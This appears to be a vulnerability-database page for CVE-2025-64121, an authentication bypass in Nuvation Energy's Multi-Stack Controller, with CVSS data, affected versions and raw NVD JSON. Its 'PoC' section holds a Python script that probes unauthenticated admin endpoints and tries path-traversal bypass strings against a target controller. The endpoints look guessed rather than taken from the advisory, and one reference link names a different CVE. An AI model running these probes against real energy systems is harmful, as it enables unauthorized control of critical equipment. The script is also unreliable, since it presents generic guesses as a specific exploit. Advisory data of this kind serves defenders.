Security Vulnerability Report
中文
CVE-2025-64121 CVSS 9.8 CRITICAL

CVE-2025-64121

Published: 2026-01-02 22:15:45
Last Modified: 2026-02-26 19:58:30

Description

Authentication Bypass Using an Alternate Path or Channel vulnerability in Nuvation Energy Multi-Stack Controller (MSC) allows Authentication Bypass.This issue affects Multi-Stack Controller (MSC): from 2.3.8 before 2.5.1.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nuvationenergy:nplatform:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:nuvationenergy:nuvmsc3-04s-c:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:nuvationenergy:nuvmsc3-08s-c:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:nuvationenergy:nuvmsc3-12s-c:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:nuvationenergy:nuvmsc3-16s-c:-:*:*:*:*:*:*:* - NOT VULNERABLE
Nuvation Energy MSC 2.3.8
Nuvation Energy MSC 2.3.9
Nuvation Energy MSC 2.4.0
Nuvation Energy MSC 2.4.1
Nuvation Energy MSC 2.4.2
Nuvation Energy MSC 2.4.3
Nuvation Energy MSC 2.4.4
Nuvation Energy MSC 2.4.5
Nuvation Energy MSC 2.5.0
Nuvation Energy MSC < 2.5.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64121 PoC - Nuvation Energy MSC Authentication Bypass # This PoC demonstrates the authentication bypass vulnerability in MSC import requests import sys TARGET_HOST = "http://target-msc-device.local" CVE_ID = "CVE-2025-64121" def check_vulnerability(target): """Check if target is vulnerable to CVE-2025-64121""" # Method 1: Try accessing admin endpoints without authentication admin_endpoints = [ "/api/admin/config", "/api/v2/admin/settings", "/api/system/status", "/admin/management", "/api/v1/management/config" ] print(f"[*] Testing {CVE_ID} on {target}") print("[*] Attempting to bypass authentication...") for endpoint in admin_endpoints: try: url = f"{target}{endpoint}" # Send request without authentication headers response = requests.get(url, timeout=10, verify=False) if response.status_code == 200 and "admin" in response.text.lower(): print(f"[+] VULNERABLE: {endpoint} accessible without auth") print(f"[+] Response preview: {response.text[:200]}") return True elif response.status_code == 200: print(f"[*] Endpoint {endpoint} returned 200 but content unclear") except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") # Method 2: Try path traversal to bypass auth bypass_paths = [ "/..;/api/admin/config", "/%2e%2e/api/admin", "/api/./admin/config" ] for path in bypass_paths: try: url = f"{target}{path}" response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: print(f"[+] Potential bypass via path: {path}") except requests.RequestException: pass print("[*] Basic check completed. Manual verification recommended.") return False if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET_HOST check_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64121", "sourceIdentifier": "[email protected]", "published": "2026-01-02T22:15:44.533", "lastModified": "2026-02-26T19:58:29.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authentication Bypass Using an Alternate Path or Channel vulnerability in Nuvation Energy Multi-Stack Controller (MSC) allows Authentication Bypass.This issue affects Multi-Stack Controller (MSC): from 2.3.8 before 2.5.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:P/AU:Y/R:X/V:X/RE:X/U:X", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "PRESENT", "Automatable": "YES", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-288"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nuvationenergy:nplatform:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.3.8", "versionEndExcluding": "2.5.1", "matchCriteriaId": "28374037-4F31-4DD9-B022-BBADEC48DBF5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:nuvationenergy:nuvmsc3-04s-c:-:*:*:*:*:*:*:*", "matchCriteriaId": "F7962681-518E-463D-889B-FA02F9C8DF4A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:nuvationenergy:nuvmsc3-08s-c:-:*:*:*:*:*:*:*", "matchCriteriaId": "9C8840C4-E139-4AF7-9B4C-DE42B69FC97D"}, {"vulnerable": false, "criteria": "cpe:2.3:h:nuvationenergy:nuvmsc3-12s-c:-:*:*:*:*:*:*:*", "matchCriteriaId": "1E01ABFC-C5D6-4EAD-9109-BA76A946FF58"}, {"vulnerable": false, "criteria": "cpe:2.3:h:nuvationenergy:nuvmsc3-16s-c:-:*:*:*:*:*:*:*", "matchCriteriaId": "3D41387A-89AB-4095-8DCA-181DE5695C5D"}]}]}], "references": [{"url": "https://www.dragos.com/community/advisories/CVE-2025-64119", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}